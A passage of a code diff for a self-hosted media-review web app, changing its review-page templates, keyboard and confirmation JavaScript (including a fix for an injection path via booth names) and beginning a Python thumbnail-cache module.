HTML-attribute escaping, not JS-string escaping: the browser decodes the
|
||||
entity back to a quote before the JS parser ever sees it, so a booth name
|
||||
crafted to close that string executed on submit. Booth names are
|
||||
agent-authored — making a folder under the data dir is the whole API — so
|
||||
that is a live path, not a theoretical one.
|
||||
|
||||
The name now travels as a DATA ATTRIBUTE, where escaping is escaping, and
|
||||
never reaches a JS string literal. Same pattern the board controls already
|
||||
use. With JS off the form submits without a prompt, which is what every
|
||||
no-JS browser here already did. */
|
||||
/* Destructive-action confirmation, delegated and DATA-DRIVEN. The booth name
|
||||
travels as a data attribute, where escaping is escaping, and never reaches
|
||||
a JS string literal: a booth name is agent-authored, and an inline handler
|
||||
carrying one was a live injection path. With JS off the form submits
|
||||
without a prompt. */
|
||||
(function () {
|
||||
var WORDS = {
|
||||
release: function (n) {
|
||||
return 'Release \u201c' + n + '\u201d?\n\nIt moves to the ephemeral lane so you '
|
||||
+ 'can wipe it from there. Nothing is deleted by this step.';
|
||||
return 'Release “' + n + '”?\n\nIt rejoins the sweep: it will be wiped '
|
||||
+ '{{ ttl_hours|int }}h after its last activity. Nothing is deleted by this step.';
|
||||
},
|
||||
'wipe-kept': function (n) {
|
||||
return 'WIPE the KEPT booth \u201c' + n + '\u201d?\n\nThis deletes it and its files '
|
||||
return 'WIPE the KEPT booth “' + n + '”?\n\nThis deletes it and its files '
|
||||
+ 'immediately. Kept booths are the ones nothing else will clean up, so nobody '
|
||||
+ 'else is going to do this for you \u2014 and nothing brings it back.';
|
||||
+ 'else is going to do this for you — and nothing brings it back.';
|
||||
},
|
||||
wipe: function (n) { return 'Wipe booth \u201c' + n + '\u201d?'; }
|
||||
wipe: function (n) { return 'Wipe booth “' + n + '”?'; }
|
||||
};
|
||||
/* A word the page does not know still ASKS: fail closed. Keying the
|
||||
prompt on `word &&` meant a typo'd data-confirm submitted unguarded. */
|
||||
var ASK = function (n) { return 'Really do this to “' + n + '”?'; };
|
||||
/* The name as the operator should READ it. Escaping keeps it out of any
|
||||
script, but a bidi override (U+202E) or a newline in an agent-made name
|
||||
still rewrote the dialog's text — what is read before approving a wipe.
|
||||
Controls and bidi formatting show as U+FFFD, visibly, never silently. */
|
||||
function shown(n) {
|
||||
return n.replace(/[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u202a-\u202e\u2066-\u2069]/g, '\ufffd');
|
||||
}
|
||||
document.addEventListener('submit', function (ev) {
|
||||
var form = ev.target.closest ? ev.target.closest('form[data-confirm]') : null;
|
||||
if (!form) return;
|
||||
var word = WORDS[form.getAttribute('data-confirm')];
|
||||
if (word && !confirm(word(form.getAttribute('data-booth') || ''))) ev.preventDefault();
|
||||
var word = WORDS[form.getAttribute('data-confirm')] || ASK;
|
||||
if (!confirm(word(shown(form.getAttribute('data-booth') || '')))) ev.preventDefault();
|
||||
}, true);
|
||||
})();
|
||||
</script>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% block title %}{{ name }} · marks · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
{# The marks page for a booth whose own index.html is served VERBATIM. That page
|
||||
cannot render the panel inline (it is returned untouched by design), so the
|
||||
@@ -12,12 +13,16 @@
|
||||
{# `marks_open` comes from open_marks() — the ONE openness predicate (INV-2).
|
||||
This used to re-derive it in Jinja as `selectattr('answer', 'none')`, which
|
||||
read a half-answered pick as closed. #}
|
||||
<span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span>
|
||||
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span></span>
|
||||
</div>
|
||||
{# One region around both branches, so answering the last mark away swaps in
|
||||
the empty state instead of reading as a structural change. #}
|
||||
<div class="marks-panel" data-region="marks-panel">
|
||||
{% if marks %}
|
||||
{% include "_marks.html" %}
|
||||
{% else %}
|
||||
<div class="empty">This booth has no marks.</div>
|
||||
{% include "_marks.html" %}
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
+254
-73
@@ -1,118 +1,299 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{# THE REVIEW (R2 C6). One media item at full size — image, video or audio —
|
||||
with the judgment on screen beside it, the whole set as a filmstrip below and
|
||||
the tape above. Docs keep doc.html. Everything a mark can change is a
|
||||
`data-region` the in-place script swaps (the rail, the filmstrip, the tape);
|
||||
THE STAGE NEVER IS — swapping it would restart a playing track. #}
|
||||
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
|
||||
{% block content %}
|
||||
<div class="viewer">
|
||||
<div class="viewer review">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
|
||||
<span class="vname">{{ file }}</span>
|
||||
<a class="vbtn vx" href="{{ back_url }}" title="back to the grid (Esc)">✕</a>
|
||||
<span class="vname"><span class="ord">{{ num(ordinal) }}</span> {{ file }}</span>
|
||||
<span class="vspacer"></span>
|
||||
<span class="vtoggle" id="vtoggle" style="display:none">
|
||||
<button type="button" class="vseg on" id="btn-fit">Fit</button><button type="button" class="vseg" id="btn-one">1:1</button>
|
||||
{# R3: this item against the next one in the ring, side by side (C). #}
|
||||
{% if compare_url %}<a class="vbtn vcompare" href="{{ compare_url }}" title="compare with the next item (C)"><span aria-hidden="true">⇆</span><span class="vcompare-l"> compare</span></a>{% endif %}
|
||||
{% if kind == 'image' %}
|
||||
{# A JS-only VIEWING convenience (INV-3): hidden until the script shows it,
|
||||
and only ever rendered for a picture. With scripts off the image shows at
|
||||
fit size and no judgment depends on this. #}
|
||||
<span class="vtoggle" id="vtoggle" hidden>
|
||||
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" title="natural pixels — drag to pan a large picture">1:1</button>
|
||||
</span>
|
||||
{% endif %}
|
||||
{# r2b D2b + D2, in the top bar: outside every data-region, so no swap
|
||||
replaces them. The fog form carries `back` and lands on this item. #}
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<input type="hidden" name="back" value="{{ file }}">
|
||||
<button title="{{ 'un-blur the whole booth' if booth_blurred else 'blur every image and video in this booth — cosmetic only' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
|
||||
</form></span>
|
||||
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
<a class="vbtn" href="{{ file_url }}" download title="download {{ file }}">⬇</a>
|
||||
</div>
|
||||
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous image">‹</a>{% endif %}
|
||||
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next image">›</a>{% endif %}
|
||||
<div class="vstage fit" id="vstage"><img id="vimg" src="{{ file_url }}" alt="{{ file }}"></div>
|
||||
{# THE ANNOTATION, at full size. It was never rendered here before U1 — not
|
||||
because the template dropped it, but because the route never resolved it.
|
||||
A caption is most useful at the size where you are actually judging the
|
||||
thing, so it belongs here at least as much as in the grid. #}
|
||||
|
||||
{# THE TAPE (B's device): one segment per item in the review ring — seen,
|
||||
flagged, current — so how far through the set you are is always in view. #}
|
||||
<div class="tape" data-region="tape" aria-label="{{ seen_n }} of {{ ring_m }} seen">
|
||||
<div class="tape-segs">
|
||||
{% for x in film %}
|
||||
<a class="tape-s{% if x.current %} is-current{% elif x.flagged %} is-flagged{% elif x.seen %} is-seen{% endif %}"
|
||||
href="?f={{ x.url }}" title="{{ num(x.ordinal) }} {{ x.name }}"></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
<span class="tape-count">{{ seen_n }} of {{ ring_m }} seen</span>
|
||||
</div>
|
||||
|
||||
<div class="review-body">
|
||||
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous">‹</a>{% endif %}
|
||||
<div class="vstage{% if kind == 'image' %} is-img{% endif %}{% if blurred %} is-blurred{% endif %}" id="vstage">
|
||||
{% if kind == 'image' %}<img id="vimg" src="{{ file_url }}" alt="{{ file }}" draggable="false">
|
||||
{% elif kind == 'video' %}<video id="vmedia" controls preload="metadata" src="{{ file_url }}"></video>
|
||||
{% else %}<audio id="vmedia" controls preload="metadata" src="{{ file_url }}"></audio>
|
||||
{% endif %}
|
||||
</div>
|
||||
{# The stage's reveal sits OVER the stage, outside its scrolled content
|
||||
(r2c): in 1:1 a panned picture would otherwise carry it out of view, and
|
||||
outside the stage it can never start a pan. #}
|
||||
{# JS-only, so `hidden` until the script binds it (heid bug-hunt: shown with
|
||||
scripts off, it did nothing) — the toggle's own pattern. #}
|
||||
{% if blurred %}<button type="button" class="reveal" id="vreveal" aria-label="reveal {{ file }}" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
|
||||
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next">›</a>{% endif %}
|
||||
|
||||
<aside class="vrail" id="rail" data-region="rail" aria-label="your judgment">
|
||||
<div class="vr-sec">
|
||||
<div class="vr-where"><span class="ord">{{ num(ordinal) }}</span> · {{ ring_k }} of {{ ring_m }}
|
||||
{%- if group %} · {{ group.k }} of {{ group.n }} in {{ group.key }}{% endif %}</div>
|
||||
{# THE ANNOTATION, at full size — the size where it is most readable. #}
|
||||
{% if caption %}<div class="vcap">{{ caption }}</div>{% endif %}
|
||||
{# INV-3: the JUDGMENT travels to full size too, not just the caption. This is
|
||||
the size at which the operator is actually deciding, so the flag toggle and
|
||||
the notes belong here at least as much as on the tile. #}
|
||||
<div class="vmarks">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag">
|
||||
</div>
|
||||
|
||||
<div class="vr-sec vr-judge">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<button class="vbtn{% if flagged %} is-flagged{% endif %}"
|
||||
title="{{ 'un-flag this item' if flagged else 'flag this one' }}"
|
||||
>{{ '✔ flagged' if flagged else '○ flag' }}</button>
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<button class="vbtn vflag-btn{% if flagged %} is-flagged{% endif %}" id="vflag-btn"
|
||||
title="{{ 'un-flag this item' if flagged else 'flag this one' }} (F)"
|
||||
>{{ '✔ flagged' if flagged else '○ flag' }} <kbd>F</kbd></button>
|
||||
</form>
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="vnote"><pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<button class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note">
|
||||
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<textarea name="text" id="vnote-text" rows="2" placeholder="a note on this item (N)"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
{# A question ABOUT this item is answerable here. #}
|
||||
{% if item_picks %}
|
||||
<div class="vr-sec">
|
||||
{% with marks=item_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if is_last %}
|
||||
{# THE END OF THE SET — not a separate page: on the last item the rail
|
||||
adds the summary and every question still open on the booth. #}
|
||||
<div class="vr-sec vr-end">
|
||||
<p class="vr-end-head">End of the set · {{ seen_n }} of {{ ring_m }} seen · {{ tray|length }} flagged</p>
|
||||
{% if tray %}
|
||||
<div class="tray">
|
||||
{% for x in tray %}
|
||||
<a class="tray-item{% if x.blurred %} is-blurred{% endif %}" href="?f={{ x.url }}" title="{{ x.name }}">
|
||||
{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="tray-kind">{{ x.kind }}</span>{% endif -%}
|
||||
<span class="tray-ord">{{ num(x.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if other_picks %}
|
||||
{% with marks=other_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
|
||||
{% endif %}
|
||||
</div>
|
||||
{% elif other_picks %}
|
||||
<div class="vr-sec vr-more">
|
||||
<a href="/b/{{ name_url }}/">{{ other_picks|length }} more open question{{ '' if other_picks|length == 1 else 's' }} on this booth →</a>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<div class="vr-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> move · <kbd>F</kbd> flag · <kbd>N</kbd> note · <kbd>C</kbd> compare · <kbd>Esc</kbd> grid</div>
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
{# THE FILMSTRIP: the review ring in set order, numbered like the tiles,
|
||||
flagged frames underlined, the current one in the reticle. #}
|
||||
<nav class="film" data-region="film" aria-label="the set">
|
||||
{% for x in film %}
|
||||
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.current %} is-current{% endif %}{% if x.blurred %} is-blurred{% endif %}"
|
||||
href="?f={{ x.url }}" title="{{ x.name }}"{% if x.current %} aria-current="true"{% endif %}>
|
||||
{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
|
||||
<span class="film-ord">{{ num(x.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
</div>
|
||||
<style>
|
||||
.vnav{position:fixed;top:50%;transform:translateY(-50%);z-index:40;display:flex;
|
||||
align-items:center;justify-content:center;width:2.6rem;height:3.4rem;font-size:2rem;
|
||||
line-height:1;text-decoration:none;color:var(--fg-1);background:rgba(20,23,32,.55);
|
||||
border:1px solid rgba(255,255,255,.10);border-radius:10px;margin:0 .5rem;user-select:none;
|
||||
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);transition:background .15s,border-color .15s}
|
||||
.vnav:hover{background:rgba(28,33,46,.92);border-color:var(--aus-bright-cyan,#42dcd1)}
|
||||
.vnav{position:absolute;top:50%;transform:translateY(-50%);z-index:4;display:flex;
|
||||
align-items:center;justify-content:center;width:40px;height:56px;font-size:28px;
|
||||
line-height:1;text-decoration:none;color:oklch(0.91 0.008 216);background:oklch(0.17 0.01 250 / .6);
|
||||
border:1px solid rgb(255 255 255 / .12);border-radius:var(--radius-lg);margin:0 8px;user-select:none;
|
||||
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);
|
||||
transition:background var(--dur-1) var(--ease-out),border-color var(--dur-1) var(--ease-out)}
|
||||
.vnav:hover{background:oklch(0.21 0.01 248 / .92);border-color:rgb(255 255 255 / .3);text-decoration:none;
|
||||
color:oklch(0.91 0.008 216)}
|
||||
/* The next arrow clears the 360px verdict rail only while the rail sits
|
||||
beside the stage. Scoped to the wide layout: stated bare, this rule came
|
||||
later in the page than base.html's narrow override and silently won it,
|
||||
parking the arrow 360px in from the edge of a phone. */
|
||||
.vprev{left:0}.vnext{right:0}
|
||||
/* Bottom bar rather than the top chrome: a caption can run to CAPTION_MAX
|
||||
(800 chars), which would shove the filename and the Fit/1:1 toggle around. */
|
||||
.vcap{flex:0 0 auto;max-height:22vh;overflow-y:auto;padding:.6rem clamp(12px,3vw,20px);
|
||||
font-size:.85rem;line-height:1.5;color:var(--fg-1);background:var(--rk-surface,rgba(20,23,32,.92));
|
||||
border-top:1px solid rgba(255,255,255,.10);white-space:pre-wrap}
|
||||
@media print{.vcap{max-height:none;overflow:visible}}
|
||||
@media print{.vnav{display:none}}
|
||||
@media (min-width:901px){.vnext{right:360px}}
|
||||
/* Stacked (<=900px) the stage is the body's first 60vh, so its centre is 30vh
|
||||
down: the arrows' spot before the script places them (JS off, loading,
|
||||
failed), never over the rail below (heid code-review). HERE, after .vnav:
|
||||
in base.html this page's own later rule silently won it (the Nyx trap). */
|
||||
@media (max-width:900px){.vnav{top:30vh}}
|
||||
.vcap{margin-top:10px;max-height:30vh;overflow-y:auto;font-size:var(--size-sm);line-height:var(--leading-body);
|
||||
color:var(--text-body);white-space:pre-wrap}
|
||||
@media print{.vcap{max-height:none;overflow:visible}.vnav{display:none}}
|
||||
</style>
|
||||
{% include "_stage_js.html" %}
|
||||
<script>
|
||||
(function () {
|
||||
var img = document.getElementById('vimg');
|
||||
var stage = document.getElementById('vstage');
|
||||
var toggle = document.getElementById('vtoggle');
|
||||
var bFit = document.getElementById('btn-fit');
|
||||
var bOne = document.getElementById('btn-one');
|
||||
var BACK = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
var BACK = {{ back_url|tojson }};
|
||||
var PREV = {{ (('?f=' ~ prev_url) if prev_url else '')|tojson }};
|
||||
var NEXT = {{ (('?f=' ~ next_url) if next_url else '')|tojson }};
|
||||
var COMPARE = {{ compare_url|tojson }};
|
||||
|
||||
function setMode(mode) {
|
||||
var fit = mode === 'fit';
|
||||
stage.classList.toggle('fit', fit);
|
||||
stage.classList.toggle('one', !fit);
|
||||
bFit.classList.toggle('on', fit);
|
||||
bOne.classList.toggle('on', !fit);
|
||||
}
|
||||
// "fits" == the image at natural size already sits inside the stage, so Fit
|
||||
// and 1:1 would render identically — in that case we hide the toggle entirely.
|
||||
function fits() {
|
||||
return img.naturalWidth <= stage.clientWidth && img.naturalHeight <= stage.clientHeight;
|
||||
}
|
||||
function evaluate() {
|
||||
if (!img.naturalWidth) return;
|
||||
if (fits()) {
|
||||
toggle.style.display = 'none';
|
||||
setMode('fit');
|
||||
} else {
|
||||
toggle.style.display = 'inline-flex';
|
||||
if (!stage.classList.contains('one')) setMode('fit');
|
||||
}
|
||||
}
|
||||
bFit.addEventListener('click', function () { setMode('fit'); });
|
||||
bOne.addEventListener('click', function () { setMode('one'); });
|
||||
img.addEventListener('load', evaluate);
|
||||
window.addEventListener('resize', evaluate);
|
||||
if (img.complete) evaluate();
|
||||
/* THE STAGE (r2c). The mode is ONE class on <html>, `stage-one` (absent =
|
||||
Fit), set by the head script before the stage existed. The shared
|
||||
machinery binds the toggle and pans a 1:1 picture; this page places the
|
||||
arrows at the drawn picture. */
|
||||
var stage = document.getElementById('vstage');
|
||||
var img = document.getElementById('vimg');
|
||||
var video = stage.querySelector('video');
|
||||
var rbody = stage.parentElement; /* .review-body */
|
||||
var prevA = rbody.querySelector('.vnav.vprev'), nextA = rbody.querySelector('.vnav.vnext');
|
||||
|
||||
/* An arrow key inside the note field is a CARET move, not a navigation.
|
||||
The handler is on `document` and the note textarea shipped into this same
|
||||
page, so typing a note and reaching for ← threw the draft away; Escape
|
||||
did it in one keystroke. Anything editable keeps its own keys. */
|
||||
/* The DRAWN picture's left and right edges, in viewport px, or null until
|
||||
they are known (still loading, or failed): the arrows then keep their CSS
|
||||
spot. The object-fit: contain box — which in 1:1 (scale 1) IS the
|
||||
picture's own box; where it runs past the stage, the clamp in place()
|
||||
keeps the arrows inside. */
|
||||
function drawn() {
|
||||
if (img) {
|
||||
if (!img.naturalWidth) return null;
|
||||
var b = img.getBoundingClientRect();
|
||||
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;
|
||||
return {l: b.left + (b.width - w) / 2, r: b.left + (b.width + w) / 2};
|
||||
}
|
||||
if (video && video.videoWidth) {
|
||||
var v = video.getBoundingClientRect();
|
||||
return {l: v.left, r: v.right};
|
||||
}
|
||||
return null;
|
||||
}
|
||||
/* Each arrow wholly outside the drawn edge, its near edge 8px away, clamped
|
||||
8px inside the stage — so over the picture only when the picture spans
|
||||
the stage (operator: "unless the image spans the entire width"). */
|
||||
function place() {
|
||||
var p = drawn();
|
||||
if (!p) {
|
||||
/* unknown (loading, failed): back to the CSS spot, never a stale one */
|
||||
[prevA, nextA].forEach(function (a) {
|
||||
if (a) { a.classList.remove('is-placed'); a.style.left = ''; a.style.top = ''; }
|
||||
});
|
||||
return;
|
||||
}
|
||||
var s = stage.getBoundingClientRect(), o = rbody.getBoundingClientRect();
|
||||
/* the stage's CLIENT box: a classic scrollbar is not stage an arrow may
|
||||
sit on (heid bug-hunt, groa — the border box put the next arrow under it) */
|
||||
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;
|
||||
[[prevA, -1], [nextA, 1]].forEach(function (pair) {
|
||||
var a = pair[0];
|
||||
if (!a) return;
|
||||
var w = a.offsetWidth, lo = cl + 8, hi = cr - 8 - w;
|
||||
var x = pair[1] < 0 ? p.l - 8 - w : p.r + 8;
|
||||
x = Math.max(lo, Math.min(hi, x));
|
||||
a.classList.add('is-placed');
|
||||
a.style.left = (x - o.left) + 'px';
|
||||
a.style.top = (s.top - o.top + s.height / 2) + 'px';
|
||||
});
|
||||
}
|
||||
/* The stage's own machinery — Fit/1:1, pannable, drag-to-pan — is the
|
||||
shared include (_stage_js.html, r3 C4); the arrows stay this page's. */
|
||||
var st = BoothStage.attach(stage, {img: img, onSettle: place});
|
||||
var settle = st.settle;
|
||||
if (img) BoothMode.bind({
|
||||
toggle: document.getElementById('vtoggle'),
|
||||
fit: document.getElementById('btn-fit'),
|
||||
one: document.getElementById('btn-one'),
|
||||
onChange: settle
|
||||
});
|
||||
if (video) video.addEventListener('loadedmetadata', settle);
|
||||
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
|
||||
else window.addEventListener('resize', settle);
|
||||
|
||||
/* Keep the current frame in view on the filmstrip — on load, and after an
|
||||
in-place save swaps the strip for a fresh one. Additive: without it the
|
||||
strip is still a row of links. */
|
||||
function centreFilm() {
|
||||
var cur = document.querySelector('.film-f.is-current');
|
||||
var film = document.querySelector('.film');
|
||||
if (cur && film) film.scrollLeft = cur.offsetLeft - (film.clientWidth - cur.offsetWidth) / 2;
|
||||
}
|
||||
centreFilm();
|
||||
document.addEventListener('booth:swapped', centreFilm);
|
||||
|
||||
/* Blur reveal on the stage — per-viewer, never persisted. Cosmetic, and
|
||||
the button says so. */
|
||||
var rv = document.getElementById('vreveal');
|
||||
if (rv) rv.hidden = false;
|
||||
if (rv) rv.addEventListener('click', function () {
|
||||
var on = document.getElementById('vstage').classList.toggle('revealed');
|
||||
rv.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
|
||||
});
|
||||
|
||||
/* EVERY key here, new and old, is ignored while focus is in something
|
||||
editable: an arrow key in the note field is a caret move, and F typed
|
||||
into a note is a letter, not a flag. */
|
||||
function isEditable(el) {
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
/* Space moves only when the stage is not a player that wants it. */
|
||||
var player = document.getElementById('vmedia');
|
||||
if (e.key === 'Escape') window.location.href = BACK;
|
||||
else if (e.key === 'ArrowLeft' && PREV) window.location.href = PREV;
|
||||
else if (e.key === 'ArrowRight' && NEXT) window.location.href = NEXT;
|
||||
/* ...and never from a focused control: Space is how a keyboard presses a
|
||||
button or follows a link (r2b, heid bug-hunt — Reveal all and the fog
|
||||
control could not be pressed). */
|
||||
else if (e.key === ' ' && NEXT && e.target !== player && !(e.target.closest && e.target.closest('button, a, summary'))) { e.preventDefault(); window.location.href = e.shiftKey && PREV ? PREV : NEXT; }
|
||||
else if (e.key === 'f' || e.key === 'F') {
|
||||
var b = document.getElementById('vflag-btn'); /* re-read: the rail may have been swapped */
|
||||
if (b) { e.preventDefault(); b.click(); }
|
||||
}
|
||||
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }
|
||||
else if (e.key === 'n' || e.key === 'N') {
|
||||
var t = document.getElementById('vnote-text');
|
||||
if (t) { e.preventDefault(); t.focus(); }
|
||||
}
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
"""Derived thumbnails, cached inside the booth.
|
||||
|
||||
MEASURED, not assumed. ROADMAP parked progressive loading on "the largest
|
||||
gallery is 66 images; at that size a lazy grid is almost certainly fine" — which
|
||||
counted IMAGES and never weighed BYTES. The live set on 2026-09-23:
|
||||
|
||||
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
|
||||
sindra-sfw-pool 59 images 71.7 MB
|
||||
sindra 30 images 61.6 MB 2.1 MB average
|
||||
|
||||
A tile renders a few hundred px wide, so the gallery shipped roughly 16x the pixels
|
||||
that reach the screen and 77 MB on one page load. 66 is a fine count sitting on
|
||||
a terrible payload; the operator found it in about a minute of using the Desk.
|
||||
|
||||
The cache lives at `<booth>/.thumbs/<rel>.<rule>.webp` (see `thumb_path`),
|
||||
inside the booth on purpose, so it is swept with the booth and never outlives
|
||||
what it describes. And because it is inside the booth, where any fleet session
|
||||
can write, every entry on the way to it may be planted: the cache directories,
|
||||
the cache file and the temp file are each checked or created so that a link,
|
||||
a directory or a planted file cannot redirect a write or pose as a thumbnail. Both
|
||||
`booth_items` and `zip_booth` skip every dot-prefixed path COMPONENT, which they
|
||||
did not do until this module needed them to.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
try: # optional: absence degrades to full-size images, never to a broken page
|
||||
from PIL import Image as _Image
|
||||
from PIL import ImageOps as _ImageOps
|
||||
except ImportError: # pragma: no cover
|
||||
_Image = None
|
||||
_ImageOps = None
|
||||
|
||||
THUMB_DIR = ".thumbs"
|
||||
# SIZED FOR THE TILE'S WIDTH, AT 2x DENSITY. A gallery tile is sized by its
|
||||
# width (the image is `width:100%; height:auto`), and on the desktop grid (3
|
||||
# columns, 1440px viewports and up) it measures 321-361 CSS px, so 768 covers
|
||||
# the widest one on a 2x screen. This used to be 512 on the LONGEST side, which
|
||||
# the comment called "comfortably above any tile size", and it was, for a square.
|
||||
# A 704x1408 portrait got 256px of width for a 361px tile: 1.4x stretched at 1x,
|
||||
# 2.8x on a 2x screen, and the operator saw it as "blurry until selected".
|
||||
# Narrower windows reflow to 2 columns (up to 472px) or 1 (up to 650px) and are
|
||||
# softer than this covers at 2x. tests/test_thumbs_browser.py holds this number
|
||||
# against the rendered grid, so a wider tile turns it red instead of soft.
|
||||
THUMB_WIDTH = 768
|
||||
# Width alone would let a long screenshot through at full height.
|
||||
THUMB_HEIGHT_MAX = 4096
|
||||
# An original that already fits the bounds is served as-is only when it is also
|
||||
# LIGHT: fitting a tile in pixels is not being cheap in bytes, and a 704x1408
|
||||
# PNG is about a megabyte. Measured on the 381 live images, 2026-09-23: 768-wide
|
||||
# thumbnails average 39 KB, so anything at or under 64 KB has nothing to save.
|
||||
THUMB_LIGHT_BYTES = 64 * 1024
|
||||
THUMB_QUALITY = 78
|
||||
# A header is free to read and claims any size it likes; `thumbnail()` then
|
||||
# decodes it, on every request, because a failure is not cached. Past this the
|
||||
# original is served and nothing is decoded. 64 MP is 8K x 8K, far past any
|
||||
# image a booth has held.
|
||||
THUMB_MAX_PIXELS = 64_000_000
|
||||
# Bump when the ENCODING changes in a way the numbers above do not show (a mode
|
||||
# conversion, an orientation rule), so every cached thumbnail is rebuilt.
|
||||
THUMB_VERSION = 2
|
||||
|
||||
# What Pillow can open from a plain install. SVG is vector (Pillow cannot read
|
||||
# it, and it is already small); AVIF needs a plugin we do not require.
|
||||
THUMBABLE = {".png", ".jpg", ".jpeg", ".webp", ".gif", ".bmp"}
|
||||
|
||||
|
||||
def thumb_path(booth: Path, rel: str) -> Path:
|
||||
"""Where `rel`'s thumbnail lives. Mirrors the tree so two files with the
|
||||
same basename in different folders cannot collide.
|
||||
|
||||
THE WHOLE RULE IS IN THE NAME: width, height cap, quality and an encoding
|
||||
version. The freshness check below only notices a changed source, so a
|
||||
thumbnail cut to an older rule would otherwise be served forever. A change
|
||||
to any of them is a cache miss, and the old files are orphans swept with
|
||||
their booth."""
|
||||
rule = f"{THUMB_WIDTH}x{THUMB_HEIGHT_MAX}q{THUMB_QUALITY}v{THUMB_VERSION}"
|
||||
